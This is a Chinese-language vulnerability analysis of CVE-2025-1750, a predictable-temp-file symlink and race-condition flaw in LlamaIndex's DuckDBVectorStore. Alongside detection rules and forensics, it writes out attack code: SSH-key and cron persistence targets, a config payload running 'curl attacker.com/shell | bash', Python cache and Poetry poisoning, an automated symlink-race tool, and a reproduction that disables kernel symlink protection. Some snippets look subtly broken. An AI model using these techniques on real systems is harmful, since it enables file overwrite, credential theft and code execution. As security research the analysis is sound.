漏洞原理

CVE-2025-1750 是 LlamaIndex DuckDBVectorStore 组件中的一个严重安全漏洞,CVSS 评分达到 7.8(高危)。该漏洞源于组件在创建临时文件时使用了可预测的命名策略,导致攻击者可以通过符号链接攻击实现任意文件读写,在特定条件下甚至可升级为远程代码执行。

从漏洞分类来看,此问题跨越了多个 CWE 类别:CWE-377(不安全的临时文件创建)、CWE-59(错误的链接解析)、CWE-362(竞态条件)以及 CWE-20(输入验证不恰当)。它揭示了上层 AI 框架在追求开发效率时,往往忽略了底层操作系统对于共享资源(Shared Resources)的并发控制原则。

攻击向量分析

漏洞触发路径

在 LlamaIndex 的 DuckDBVectorStore 实现中,当向量数据库需要持久化或加载向量索引时,组件会在系统临时目录创建工作文件。受影响版本的核心问题代码路径如下:

from llama_index.vector_stores.duckdb import DuckDBVectorStore

vector_store = DuckDBVectorStore()

vector_store.add(nodes)

在 add 操作内部,组件会生成类似以下的文件路径:

cache_path = os.path.join(tempfile.gettempdir(), f"duckdb_{cache_id}")

这种命名方式的问题在于 cache_id 的生成往往基于可预测的因素,如数据集名称、向量维度、或者简单的哈希值。攻击者通过多次逆向或源码分析即可预知这些文件名的生成规律。

TOCTOU 竞态条件

决定性命名与共享命名空间的冲突

漏洞的核心根源在于 llama-index-core 在处理缓存、数据摄取(Ingestion)或中间文件存储时,采用了“确定性”或“弱随机性”的文件命名策略,并将这些文件放置在了系统的全局临时目录(通常是 Linux 上的 /tmp 或 Windows 上的 C:\Windows\Temp)中。

在 Linux/Unix 中,/tmp 是一个特殊的目录。它具有 World-Writable(全员可写)属性,为了防止用户互相删除文件,系统设置了 Sticky Bit(粘滞位)。然而,Sticky Bit 只能防止用户 A 删除用户 B 的文件,却无法防止用户 A 在用户 B 写入文件之前,预先抢占文件路径。

当 LlamaIndex 的代码逻辑中出现类似 os.path.join(tempfile.gettempdir(), "fixed_cache_name") 的操作时,实际上是在一个不受控的公共命名空间中声明了一个固定的地址。这种设计违背了安全编码中的最小权限与资源隔离原则,导致攻击者可以利用这一可预测性构建竞态条件。

从攻击者的视角来看,要利用这个漏洞需要满足以下前提条件:能够访问目标系统的临时目录、能够预测或观察到受害者进程的文件命名模式、受害者进程以具有写权限的用户身份运行。在容器化环境和多租户 AI 平台中,这些条件并不难满足。

以一个实际的多租户 Jupyter Hub 环境为例,多个数据科学家共享同一台计算节点:

import os

cache_key = hashlib.md5(dataset_path.encode()).hexdigest()
temp_db_path = f"/tmp/duckdb_vectors_{cache_key}.db"

这段代码的致命缺陷在于使用 MD5 哈希作为唯一标识,而 MD5 是确定性的。如果数据集路径是用户可控的,或者可以从其他渠道推断出来,攻击者就可以精确计算出即将创建的临时文件名。

符号链接攻击机制

虽然拒绝服务(DoS)是该漏洞的一种可能后果,但其真正的杀伤力在于符号链接攻击。这种攻击利用了文件系统层面的 Time-of-Check to Time-of-Use (TOCTOU) 缺陷。

攻击者首先在系统上立足(获得低权限 Shell),通过逆向分析 LlamaIndex 源码,确定程序即将写入的临时文件路径(例如 /tmp/llama_index_process_data)。由于 Linux 文件系统允许在任何拥有写权限的目录下创建符号链接,攻击者可以在 LlamaIndex 进程启动前,预先在该路径创建一个指向敏感目标的软链接。

假设攻击者创建了链接 /tmp/llama_index_process_data -> /etc/passwd(或受害者的 ~/.ssh/authorized_keys)。当 LlamaIndex 进程运行并尝试向该临时路径写入数据时,如果底层代码直接使用标准的 open() 系统调用而没有指定 O_NOFOLLOW 标志,或者没有使用排他性创建模式(O_EXCL),操作系统内核将透明地解析该符号链接。

深入理解这个攻击需要了解 Linux 内核对符号链接的处理机制。当用户空间程序调用 open() 系统调用时,内核会遍历路径中的每个组件。如果遇到符号链接,默认情况下会自动跟随到目标,这个过程被称为 dereference。关键点在于,对于大多数应用程序来说,这个过程是透明的,开发者往往意识不到正在操作的不是预期的文件。

查看 Python 的文件操作实现:

f = open("/tmp/user_data.db", "w")
f.write(vector_data)

这段看似无害的代码在 CPython 层面会转换为:

int fd = open("/tmp/user_data.db", O_WRONLY | O_CREAT | O_TRUNC, 0644);

如果 /tmp/user_data.db 是一个符号链接指向 /etc/crontab,那么内核会直接打开 /etc/crontab 进行写入,完全不会发出任何警告。Python 的 tempfile 模块之所以安全,正是因为它在底层使用了 O_EXCL 标志和原子性操作。

TOCTOU 时间窗口分析

TOCTOU 漏洞利用的关键在于时间窗口(Time Window)的存在。这个窗口是指程序检查某个状态到实际使用该状态之间的时间间隔。在 LlamaIndex 的场景中,这个窗口可能从几微秒到几秒不等,取决于程序的具体实现。

通过编写一个测试程序可以测量这个时间窗口:

import time
import os
import sys

def measure_toctou_window():
    target = "/tmp/test_file"

    for _ in range(1000):
        check_start = time.time_ns()
        exists = os.path.exists(target)
        check_end = time.time_ns()

        use_start = time.time_ns()
        if exists:
            with open(target, "r") as f:
                data = f.read()
        use_end = time.time_ns()

        window_ns = use_start - check_end
        print(f"TOCTOU window: {window_ns} ns")

        if window_ns > 1000000:
            print(f"[!] Large window detected: {window_ns/1000000} ms")

measure_toctou_window()

在实际运行中,这个时间窗口会受到多种因素影响:系统负载、CPU 调度策略、文件系统缓存状态、以及 Python 的 GIL(全局解释器锁)。在多核系统上,如果受害者进程和攻击者进程运行在不同的核心上,攻击者有更高概率在这个窗口内完成符号链接的创建。

高级的攻击者可以使用 set_realtime_priority 来提高进程优先级,从而增大竞态成功的概率:

#include <sched.h>

void elevate_priority() {
    struct sched_param param;
    param.sched_priority = 99;
    sched_setscheduler(0, SCHED_FIFO, &param);
}

这使得攻击者进程能够抢占受害者进程的执行,进一步扩大时间窗口。

多维攻击向量

读取攻击与写入攻击的区别

CVE-2025-1750 涉及两种不同但相关的攻击向量:文件读取和文件写入。它们的攻击目标和利用方式存在显著差异。

读取攻击的目标是信息泄露。攻击者创建符号链接将临时文件指向敏感文件,当受害者程序读取这个临时文件时,实际上读取的是敏感文件的内容。在 LlamaIndex 的场景中,这通常发生在向量索引加载阶段:

def load_vector_index(cache_path):
    with open(cache_path, "rb") as f:
        index_data = pickle.load(f)
    return index_data

如果攻击者将 /tmp/duckdb_vectors.db 链接到 /etc/shadow,当受害者尝试加载向量索引时,实际上会将 shadow 文件的内容反序列化。这通常会导致反序列化错误,但在某些情况下,攻击者可以构造特殊的文件内容来触发 pickle 反序列化漏洞。

写入攻击的破坏性更大,它允许攻击者覆盖任意文件。典型的利用路径包括:

exploit_targets = {
    "SSH Backdoor": "~/.ssh/authorized_keys",
    "Privilege Escalation": "/etc/sudoers.d/backup",
    "Persistence": "/etc/cron.d/malware",
    "Data Theft": "~/.aws/credentials",
    "Supply Chain": "~/.local/share/pip/requirements.txt"
}

每种目标都需要精心构造写入的内容。例如,要写入 SSH authorized_keys,攻击者需要:

ssh_payload = """ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@evil
"""

class MaliciousVectorStore:
    def add(self, nodes):
        for node in nodes:
            if "admin" in node.text.lower() or "password" in node.text.lower():
                victim_file = "/tmp/duckdb_cache.db"
                if os.path.islink(victim_file):
                    with open(victim_file, "a") as f:
                        f.write(ssh_payload)

实际上攻击者不需要修改 LlamaIndex 的代码,只需要控制向量数据库的输入内容。许多 RAG 应用允许用户上传文档来构建知识库,攻击者可以在文档中嵌入恶意内容,这些内容随后会被写入向量数据库的临时文件。

DuckDB 文件格式与向量存储

要深入理解这个漏洞,需要了解 DuckDB 的文件格式特性。DuckDB 是一个嵌入式分析数据库,类似 SQLite 但针对列式数据进行了优化。它将整个数据库存储为单个文件,默认扩展名是 .db。

DuckDB 文件由多个部分组成:文件头、数据库页、以及写前日志(WAL)。文件头包含数据库的元数据和版本信息:

def read_duckdb_header(db_path):
    with open(db_path, "rb") as f:
        header = f.read(100)

    magic = header[:4]
    if magic != b"DUCK":
        print(f"[!] Not a valid DuckDB file")

    version = int.from_bytes(header[4:8], "little")
    database_size = int.from_bytes(header[8:16], "little")

    print(f"Version: {version}")
    print(f"Database Size: {database_size} bytes")

LlamaIndex 使用 DuckDB 存储向量数据和元数据。典型的模式包含以下表结构:

CREATE TABLE vector_data (
    id INTEGER PRIMARY KEY,
    doc_id VARCHAR,
    embedding FLOAT[1536],
    text_content TEXT,
    metadata JSON
);

CREATE TABLE embedding_index (
    vector_id INTEGER,
    node_id VARCHAR,
    embedding FLOAT[1536]
);

这种结构意味着向量数据库文件包含大量的浮点数数组。当攻击者通过符号链接将其他文件(如配置文件)指向 DuckDB 数据库路径时,LlamaIndex 会尝试将目标文件解析为 DuckDB 格式。这通常会导致数据库损坏错误,但在某些情况下,如果目标文件恰好包含类似 DuckDB 的二进制模式,可能会触发更严重的漏洞。

更危险的是 DuckDB 支持加载扩展和执行 SQL 函数。如果攻击者能够控制向量数据库的初始化过程,可能通过 SQL 注入实现代码执行:

malicious_query = """
SELECT load_extension('/tmp/evil_extension.so');
SELECT evil_func();
"""

class VulnerableVectorStore:
    def query(self, vector):
        conn = duckdb.connect(self.db_path)
        result = conn.execute(malicious_query)
        return result.fetchall()

虽然这需要额外的漏洞利用步骤,但符号链接攻击可以作为攻击链的第一步,为后续的 SQL 注入或反序列化攻击创造条件。

从文件覆盖到 RCE 的攻击链

CVE-2025-1750 的 CVSS 评分中包含了对潜在 RCE 的考虑。虽然符号链接攻击本身只是文件操作,但在 AI 基础设施的环境中,可以通过多步攻击链实现远程代码执行。

攻击链的第一步是利用符号链接覆盖 Python 包的缓存文件。Python 的 import 系统会在特定位置查找并缓存编译的字节码:

import py_compile
import sys

cache_dir = "/tmp/__pycache__"
target_module = "requests"

py_compile.compile(f"/tmp/{target_module}.py",
                   cache_dir, f"{target_module}.cpython-310.pyc")

攻击者可以将 LlamaIndex 的临时文件链接到 Python 模块的缓存位置。当受害者程序下次导入该模块时,会加载被污染的字节码:

ln -s /home/victim/.local/lib/python3.10/site-packages/requests/__pycache__/__init__.cpython-310.pyc /tmp/duckdb_vectors.db

当攻击者控制了向量数据库的内容后,实际上就控制了模块的字节码。通过精心构造的 Python 字节码,可以实现任意代码执行。

另一个 RCE 路径是通过污染 Poetry 或 Pip 的依赖缓存:

def poison_poetry_cache():
    poetry_cache = Path.home() / ".cache" / "pypoetry" / "cache"
    target = poetry_cache / "repositories" / "pypi" / "packages" / "llama-index-core"

    malicious_wheel = build_malicious_wheel()

    with open(target / "llama_index_core-0.1.0-py3-none-any.whl", "wb") as f:
        f.write(malicious_wheel)

当受害者更新依赖或重新安装包时,会下载被污染的包,从而在安装过程中执行恶意代码。这种供应链攻击的隐蔽性极强,因为恶意代码是在合法的依赖更新过程中执行的。

更直接的 RCE 方式是针对配置文件的注入。许多 AI 应用使用 YAML 或 Python 配置文件:

config_content = """
database:
  url: sqlite:////tmp/vectors.db
  extensions:
    - __import__('os').system('curl attacker.com/shell | bash')
"""

def write_malicious_config():
    target = "/tmp/app_config.yaml"
    symlink_target = "/home/victim/ai_app/config.yaml"

    os.symlink(symlink_target, target)
    with open(target, "w") as f:
        f.write(config_content)

如果配置文件在加载时不安全地反序列化(如使用 yaml.unsafe_load),攻击者可以通过 YAML 序列化漏洞直接实现代码执行。

Windows 系统下的差异与利用

虽然 Linux/Unix 是 CVE-2025-1750 的主要受影响平台,但 Windows 系统也存在类似的漏洞利用方式。Windows 的临时目录通常位于 C:\Users\<username>\AppData\Local\Temp 或 C:\Windows\Temp,但文件系统的安全模型存在显著差异。

Windows 不支持传统的 Unix 符号链接,而是使用两种不同的机制:符号链接(Symbolic Links)和联结点(Junction Points)。符号链接需要管理员权限或开发者模式才能创建,而联结点可以在目录级别创建且不需要特殊权限:

mkdir C:\Users\victim\AppData\Local\Temp\duckdb_cache
mklink /J C:\Users\victim\AppData\Local\Temp\duckdb_cache\vectors.db C:\Users\victim\.ssh\authorized_keys

Windows 的文件访问控制列表(ACL)提供了一层额外的保护,但这并不意味着 Windows 系统免疫。在默认配置下,Windows 临时目录的权限为:

C:\Users\alice\AppData\Local\Temp (BUILTIN\Users:OI CI IO F)

这个权限配置允许所有用户在该目录中创建文件和子目录。虽然 Windows 没有 sticky bit 的概念,但 ACL 可以限制删除权限。然而,符号链接和联结点的创建仍然可能被利用。

Windows 的另一个攻击向量是通过 NTFS 重解析点(Reparse Points)。攻击者可以创建一个目录重解析点,将受害者应用的临时目录重定向到其他位置:

import win32file
import win32con

def create_reparse_point(source, target):
    handle = win32file.CreateFile(
        source,
        win32file.GENERIC_WRITE,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE,
        None,
        win32con.OPEN_ALWAYS,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
    )

    win32file.DeviceIoControl(
        handle,
        win32file.FSCTL_SET_REPARSE_POINT,
        target,
        None,
        None
    )

在 Windows 容器环境中,特别是使用 Windows Containers 或 Hyper-V 容器时,临时文件的隔离依赖于容器的虚拟化边界。但如果容器配置了挂载的卷或命名管道,攻击者可能通过这些共享资源实施类似的攻击。

另外 Windows 的路径解析存在一些特性可以被利用。例如,Windows 支持 DOS 设备名称(如 C: 是 \DosDevices\C: 的别名)和 GUID 路径。攻击者可以通过这些特性绕过路径检查:

import os

device_path = r"\\?\C:\Users\victim\.ssh\authorized_keys"
os.symlink(device_path, "C:\\Users\\victim\\AppData\\Local\\Temp\\duckdb.db")

这种路径混淆攻击在某些情况下可以绕过应用层的安全检查,导致文件操作被重定向到意外的位置。

相关工具

自动化漏洞利用

在实际攻击场景中,经验丰富的攻击者会开发专门的利用工具来自动化符号链接攻击。这些工具通常包含监控、预测和利用三个核心模块。

监控模块负责发现受害者的文件操作模式:

import inotify.adapters
import re

class LlamaindexExploit:
    def __init__(self):
        self.patterns = [
            r'duckdb_.*\.db$',
            r'llama_.*\.db$',
            r'vector_.*\.cache$'
        ]
        self.targets = []

    def monitor_tmp(self):
        i = inotify.adapters.Inotify()
        i.add_watch('/tmp')

        for event in i.event_gen():
            if event is None:
                continue

            header, type_names, watch_path, filename = event

            if 'IN_CREATE' in type_names:
                for pattern in self.patterns:
                    if re.match(pattern, filename):
                        self.targets.append(filename)
                        print(f"[+] Detected LlamaIndex temp file: {filename}")

预测模块尝试根据观察到的文件名生成未来的文件名。由于 LlamaIndex 通常使用哈希或序列号生成文件名,攻击者可以通过观察模式来预测:

def predict_next_filename(self, observed_files):
    if not observed_files:
        return None

    for fname in observed_files:
        match = re.search(r'duckdb_([a-f0-9]+)\.db', fname)
        if match:
            hash_part = match.group(1)
            return f"duckdb_{self.increment_hash(hash_part)}.db"
    return None

利用模块在预测的文件路径上创建符号链接,并持续监控受害者进程的活动:

class RaceExploit:
    def __init__(self, target_path, victim_pid):
        self.target_path = target_path
        self.victim_pid = victim_pid
        self.symlink_created = False

    def create_symlink(self, destination):
        if not self.symlink_created:
            os.makedirs(os.path.dirname(self.target_path), exist_ok=True)
            os.symlink(destination, self.target_path)
            self.symlink_created = True
            print(f"[+] Created symlink: {self.target_path} -> {destination}")

    def wait_for_victim(self):
        while True:
            try:
                with open(f"/proc/{self.victim_pid}/status", "r") as f:
                    if "Sleeping" in f.read():
                        self.create_symlink("/home/victim/.ssh/authorized_keys")
                        break
            except ProcessLookupError:
                break
            time.sleep(0.001)

完整的多线程利用工具可以同时监控多个进程和多个文件模式,大大提高攻击成功率。这种工具在真实的多租户环境中可以被部署为后台服务,持续寻找可利用的机会。

取证分析与事件响应

当怀疑系统受到符号链接攻击时,需要系统化的取证分析方法。首先检查可疑的文件访问时间戳:

stat /tmp/duckdb_vectors.db

ls -la /tmp | grep "llama\|duckdb\|vector"

find /tmp -type l -ls

符号链接的特征是在 ls 输出中显示为 l(link)类型,并且会显示链接的目标。但更隐蔽的攻击可能创建符号链接后立即删除,或者使用硬链接(如果目标在同一文件系统)。

内核审计日志是更可靠的证据来源。如果配置了 auditd,可以查询特定时间范围内的系统调用:

ausearch -ts yesterday -k tmp_symlink -i

ausearch -sc symlink -sc symlinkat

分析输出时关注以下指标:

  • 异常用户创建的符号链接
  • 指向敏感文件路径(如 /etc、/home、~/.ssh)的链接
  • 在临时目录中指向外部位置的链接
  • 在受害者进程运行时间窗口内创建的链接

对于正在运行的系统,可以使用 ftrace 或 perf 监控系统调用:

perf trace -e openat,linkat,symlinkat --filter 'filename == /tmp/*'

strace -f -e trace=openat,linkat,symlinkat -p $(pgrep -f llamaindex)

事件响应的优先级取决于被攻击的目标。如果攻击目标是认证密钥或配置文件,应该立即:

  1. 中止所有使用 LlamaIndex 的进程
  2. 检查并轮换所有可能泄露的凭证
  3. 审查系统配置文件的完整性
  4. 重新部署受影响的应用到修复版本
  5. 限制对 /tmp 目录的访问(使用单独挂载或挂载选项)

如果确认发生了数据泄露或权限提升,还需要进行更全面的入侵调查,包括检查日志中的异常活动、检查网络连接、以及查找可能的持久化后门。

漏洞历史演进

相关历史漏洞对比

CVE-2025-1750 并非第一个利用临时文件和符号链接的漏洞。这类问题在软件安全领域有悠久的历史,可以追溯到 Unix 系统的早期时代。

1996 年发现的 /tmp race condition 漏洞影响了大量 Unix 程序。经典的案例包括各种邮件服务器、打印系统和日志程序。这些程序通常在 /tmp 创建文件时使用可预测的名称,攻击者可以在文件创建之前抢占文件路径。

2000 年代的 eQ-3.1、WU-FTPD 和其他 FTP 服务器都曾遭受过符号链接攻击。攻击者通过在 FTP 用户的上传目录中创建符号链接,可以覆盖系统文件或读取敏感数据。

2011 年的 CVE-2011-0481 是 Python tempfile 模块的一个漏洞,在某些情况下生成的临时文件名不够随机。这个漏洞影响了 Django 等多个 Python Web 框架的文件上传功能。

2014 年的 Shellshock(CVE-2014-6271)虽然本身不是符号链接漏洞,但展示了环境变量和临时文件如何组合成严重的安全问题。攻击者可以通过环境变量注入恶意代码,然后利用临时文件的执行获得代码执行。

2021 年的 CVE-2021-4034(PwnKit)是 Polkit 程序中的一个权限提升漏洞。虽然利用方式不同,但同样涉及了对共享资源(用户 ID)的非预期访问。这个漏洞展示了即使是经过严格安全审查的系统组件,也可能存在多年的隐蔽漏洞。

LlamaIndex 的这个漏洞与历史上的案例相比,有一些独特的特点。首先,它的受害者是 AI/ML 工作负载,这是攻击的新兴领域。其次,向量数据库文件通常很大且结构复杂,这使得攻击者可以注入大量精心构造的数据。第三,AI 系统的批处理特性意味着漏洞可能在大规模数据处理过程中被触发,影响范围远超传统的 Web 应用。

本地复现

本节的复现演示将完整展示符号链接攻击在 LlamaIndex 场景中的具体执行过程。我们需要模拟受害者和攻击者两个角色的交互。由于该漏洞的核心在于对共享目录(/tmp)的非原子性操作,我们编写一个最小化的 Python 脚本来模拟 LlamaIndex 的缺陷逻辑,并使用 Shell 命令模拟攻击。

现在的 Linux 发行版内核通常开启了 fs.protected_symlinks 保护。我们使用kali作为复现环境,为了让复现能够成功,我们需要暂时关闭这个保护,或者确保攻击者和受害者是同一个用户。

复现环境的关键在于理解这个攻击不要求受害者有任何恶意行为,它只是正常使用了有漏洞的组件。攻击者只需要在合适的时间窗口内创建符号链接,之后就可以坐等受害者进程自己触发漏洞。这种被动等待的攻击模式使得检测变得极其困难,因为从受害者的角度看,所有文件操作都是正常的。

复现环境准备

内核安全降级

Kali Linux 基于 Debian,默认开启了 fs.protected_symlinks 内核保护。如果你不关闭它,当你尝试让受害者进程读取你创建的符号链接时,内核会检测到链接的所有者(攻击者)与目标所有者不匹配,从而直接拦截操作。

sysctl fs.protected_symlinks

sysctl -w fs.protected_symlinks=0

sysctl fs.protected_symlinks

fs.protected_symlinks变为0则说明内核保护关闭。在生产环境中永远不要这样做,这里只是为了复现漏洞。这个参数的作用范围是系统级别的,关闭后所有进程都将失去符号链接保护,可能导致其他安全问题。

创建对立角色

我们需要创建两个用户:victim(运行 AI 服务的受害者)和 attacker(潜伏的攻击者)。

useradd -m -s /bin/bash victim
passwd victim

useradd -m -s /bin/bash attacker
passwd attacker

这里创建的两个用户分别代表了真实的攻击场景中的对立双方。victim 用户运行着使用 LlamaIndex 的 AI 服务,可能是某个数据处理脚本或 Web API。attacker 用户已经通过某种方式(如 SSH 漏洞、弱密码、或者其他服务漏洞)获得了这台机器的低权限访问。在真实场景中,attacker 可能已经潜伏了很长时间,通过监控系统进程来寻找可利用的漏洞。

复现步骤演示

受害者准备高价值资产

打开一个终端窗口,登录为 victim 用户。

su victim

echo "SECRET_API_KEY_ABCD12345" > ~/my_secret.config
chmod 600 ~/my_secret.config

cat <<EOF > vulnerable_app.py
import os
import json
import time

CACHE_DIR = "/tmp/llama_cache_dir"
TARGET_FILE = os.path.join(CACHE_DIR, "data.json")

print(f"[+] App running as user: {os.getuid()}")

if not os.path.exists(CACHE_DIR):
    print("[-] Cache dir not found, creating...")
    os.makedirs(CACHE_DIR)
else:
    print("[!] Cache dir exists, using it...")

print(f"[*] Writing data to {TARGET_FILE}")
try:
    with open(TARGET_FILE, 'w') as f:
        f.write('{"hacked": true, "payload": "MALICIOUS_DATA"}')
    print("[+] Write successful!")
except Exception as e:
    print(f"[X] Write failed: {e}")
EOF

这个模拟脚本包含了一个典型的漏洞模式:检查目录是否存在,然后创建目录或使用现有目录。问题在于检查和创建之间存在时间窗口,攻击者可以在检查之后、使用之前插入符号链接。

另外注意代码中直接使用 open(TARGET_FILE, 'w') 而没有指定 O_EXCL 标志,这意味着如果 TARGET_FILE 已经存在(作为符号链接),它会被直接覆盖。生产代码中的另一个常见错误是先检查文件类型再打开:

if os.path.isfile(TARGET_FILE):
    with open(TARGET_FILE) as f:
        data = f.read()

这种模式同样存在 TOCTOU 漏洞,因为在 os.path.isfile 检查和 open 调用之间,文件状态可能已经改变。

攻击者埋雷

su attacker

ls -ld /tmp

mkdir -p /tmp/llama_cache_dir

ln -s /home/victim/my_secret.config /tmp/llama_cache_dir/data.json

ls -l /tmp/llama_cache_dir/data.json

这里的关键步骤是创建符号链接。注意 attacker 用户虽然不能直接写入 victim 的 home 目录,但可以在 /tmp 目录下创建符号链接指向任意位置。符号链接本身只是一个指向目标的指针,创建它不需要对目标有任何权限。

在真实攻击中,attacker 可能会通过监控 /tmp 目录来发现受害者应用的模式:

import os
import time
from pathlib import Path

def watch_tmp():
    tmp = Path("/tmp")
    known_files = set()

    while True:
        current_files = set(f.name for f in tmp.iterdir())
        new_files = current_files - known_files

        for fname in new_files:
            if "llama" in fname.lower() or "cache" in fname.lower():
                print(f"[+] Found potential cache file: {fname}")

        known_files = current_files
        time.sleep(1)

一旦识别出模式,攻击者可以自动化地创建符号链接来劫持未来的文件操作。这种持续监控和自动攻击的实现使得漏洞利用变得更加隐蔽和高效。

触发漏洞

回到 victim 的终端窗口,运行程序。

python3 vulnerable_app.py

看到输出 [!] Cache dir exists, using it... 以及 [+] Write successful!。这意味着受害者程序没有报错,顺利地写入了攻击者提供的路径。

程序输出显示一切正常,这恰好说明了这类漏洞的危险性。从应用程序的角度看,所有的操作都成功了。没有异常抛出,没有错误日志,文件写入顺利完成。但实际上,数据被写入了完全错误的位置。这种静默失败的性质使得系统管理员很难及时发现问题,直到损坏的配置文件导致系统故障。

查看攻击成果

在 victim 的终端里检查那个敏感文件。

cat ~/my_secret.config

我们看到原本的 SECRET_API_KEY_ABCD12345 已经被覆盖为 {"hacked": true, "payload": "MALICIOUS_DATA"}。证明攻击成功。

在真实的 LlamaIndex 场景中,攻击者可以选择更有价值的目标。例如劫持 .ssh/authorized_keys 来植入后门,或者污染 Python 包缓存来实现供应链攻击。更危险的是,向量数据库文件通常包含嵌入向量和原始文本的映射关系,攻击者可以通过读取这些文件来窃取训练数据或知识库内容,这些数据往往是企业的核心资产。

检查文件权限可以帮助确认攻击是否成功:

ls -la ~/my_secret.config

stat ~/my_secret.config

输出会显示文件的所有者和修改时间都已改变。如果攻击者指向的是系统配置文件如 /etc/cron.d/backup,那么下一步就可以通过写入计划任务来获得定期执行的 shell,实现从低权限到持久化控制的跨越。

利用场景

容器环境中的利用

现代 AI 应用大多部署在容器环境中。Docker 和 Kubernetes 的常见配置可能会无意中放大这个漏洞的影响。当容器以 privileged 模式运行或挂载宿主机的 /tmp 目录时,容器内的符号链接攻击可以直接逃逸到宿主机。

apiVersion: v1
kind: Pod
metadata:
  name: vulnerable-ai-app
spec:
  containers:
  - name: llamaindex
    image: ai-app:latest
    volumeMounts:
    - mountPath: /tmp
      name: tmp-volume
  volumes:
  - name: tmp-volume
    hostPath:
      path: /tmp
      type: Directory

这种配置在多租户 Kubernetes 集群中是极其危险的。一个命名空间中的恶意 Pod 可以在共享的 /tmp 目录中埋设符号链接,当其他命名空间的应用写入临时文件时就会触发攻击。

更隐蔽的利用方式是针对 CI/CD 流水线。GitHub Actions、GitLab CI 等系统在构建过程中经常使用固定的临时目录模式:

- name: Build Vector Index
  run: |
    python build_index.py --cache /tmp/vector_cache

攻击者如果能够污染 PR 检查环境中的临时文件,就可以在构建产物中植入恶意代码,这些代码随后会被合并到主分支并分发到所有用户。

检测与防御技术

由于这类攻击在受害者端不会产生明显错误,传统的应用日志难以发现异常。系统层面的审计规则是更有效的检测手段。

Linux Auditd 系统可以监控可疑的 symlink 和 open 操作:

auditctl -a exit,always -F arch=b64 -S symlinkat -S symlink -F dir=/tmp -k tmp_symlink
auditctl -a exit,always -F arch=b64 -S openat -F dir=/tmp -k tmp_open

然后在日志中查找可疑模式:

ausearch -k tmp_symlink -k tmp_open | grep -v "current_user"

另外可以监控 /tmp 目录中创建的符号链接:

import pyinotify

class SymlinkHandler(pyinotify.ProcessEvent):
    def process_default(self, event):
        if os.path.islink(event.pathname):
            target = os.readlink(event.pathname)
            if not target.startswith("/tmp"):
                print(f"[ALERT] Suspicious symlink: {event.pathname} -> {target}")

wm = pyinotify.WatchManager()
mask = pyinotify.IN_CREATE
notifier = pyinotify.Notifier(wm, SymlinkHandler())
wm.add_watch('/tmp', mask)
notifier.loop()

对于 LlamaIndex 的具体实现,可以创建一个监控脚本来检测 DuckDBVectorStore 的临时文件操作:

import psutil
import os

def find_llama_processes():
    for proc in psutil.process_iter(['pid', 'name', 'open_files']):
        try:
            for file in proc.info['open_files'] or []:
                if 'duckdb' in file.path.lower() and '/tmp' in file.path:
                    print(f"[+] Found LlamaIndex temp file: {file.path}")
                    if os.path.islink(file.path):
                        print(f"[!] WARNING: File is a symlink to {os.readlink(file.path)}")
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            pass

系统层面分析

文件描述符与内存映射

文件描述符竞态条件

符号链接攻击的一个变种是利用文件描述符在 fork 和 exec 之间的泄露。在某些复杂的 AI 应用架构中,父进程创建临时文件后通过 fork 创建子进程处理数据。如果文件描述符没有正确设置 close-on-exec 标志,子进程可能继承不应该访问的文件描述符。

import os
import fcntl

def vulnerable_fork():
    tmp_file = open("/tmp/duckdb_temp.db", "w")

    pid = os.fork()

    if pid == 0:
        tmp_file.write("child process data")
        tmp_file.close()
    else:
        tmp_file.write("parent process data")
        tmp_file.close()

这个漏洞的关键在于 FD_CLOEXEC 标志未设置。正确的实现应该是:

def safe_fork_with_fd():
    tmp_file = open("/tmp/duckdb_temp.db", "w")

    flags = fcntl.fcntl(tmp_file.fileno(), fcntl.F_GETFD)
    fcntl.fcntl(tmp_file.fileno(), fcntl.F_SETFD, flags | fcntl.FD_CLOEXEC)

    pid = os.fork()

    if pid == 0:
        tmp_file.write("child process data")
        tmp_file.close()
    else:
        tmp_file.write("parent process data")
        tmp_file.close()

在容器环境中,这个问题更加严重。容器启动时通常会继承大量文件描述符,包括宿主机的 socket、管道和文件。攻击者如果能够在容器中扫描 /proc/self/fd,可以发现这些泄露的文件描述符并进行利用。

内存映射文件的攻击面

DuckDB 和许多向量数据库使用 mmap 来映射大型数据库文件。这引入了额外的安全考虑。当文件通过 mmap 映射到内存后,即使原文件被替换或删除,内存中的映射仍然有效。

攻击者可以利用这个特性在 mmap 之后、munmap 之前替换文件:

import mmap
import os

def mmap_race_condition():
    fd = os.open("/tmp/vectors.db", os.O_RDWR)

    size = os.fstat(fd).st_size
    mapping = mmap.mmap(fd, size, mmap.MAP_SHARED, mmap.PROT_WRITE)

    os.unlink("/tmp/vectors.db")
    os.symlink("/etc/passwd", "/tmp/vectors.db")

    victim_process = subprocess.Popen(["python", "load_vectors.py"])

    time.sleep(0.1)

    munmap(mapping)
    close(fd)

这个攻击的关键在于 mmap 映射持续存在的时间窗口。攻击者可以在映射创建后、使用前替换底层文件。虽然现代操作系统有各种保护机制,但在某些配置下这种攻击仍然可行。

对于向量数据库,mmap 的另一个风险是访问控制失效。mmap 的权限检查发生在 mmap 系统调用时,之后的内存访问不再进行权限检查:

void* mapped = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0);

mapped[offset] = value;

如果攻击者能够在 mmap 后修改底层的文件权限或所有者,即使原始进程不应该有写入权限,仍然可以通过映射的内存区域写入数据。

侧信道分析

侧信道检测技术

符号链接攻击的检测可以通过侧信道分析来实现。经验丰富的攻击者不会直接尝试攻击,而是先通过观察系统的行为模式来确定攻击的可行性。

CPU 时间侧信道可以用于检测文件操作:

import time
import os

def detect_file_operation(target_path):
    latencies = []

    for _ in range(1000):
        start = time.perf_counter_ns()

        try:
            os.stat(target_path)
        except FileNotFoundError:
            pass

        end = time.perf_counter_ns()
        latencies.append(end - start)

    avg_latency = sum(latencies) / len(latencies)

    if avg_latency > 1000000:
        print(f"[+] Detected slow file access: {avg_latency} ns")
        print(f"[!] Target file might be on network filesystem or symlink")

detect_file_operation("/tmp/duckdb_vectors.db")

这种技术可以区分本地文件、网络文件和符号链接,因为它们的访问延迟特征不同。攻击者可以在不触发任何警报的情况下收集信息,确定最佳的攻击时机。

另一个侧信道是进程调度延迟。在多核系统上,攻击者可以监控受害者进程的 CPU 亲和性和调度延迟:

import psutil

def monitor_victim_scheduling(victim_pid):
    proc = psutil.Process(victim_pid)
    previous_cpu_times = proc.cpu_times()

    while True:
        time.sleep(0.01)

        current_cpu_times = proc.cpu_times()
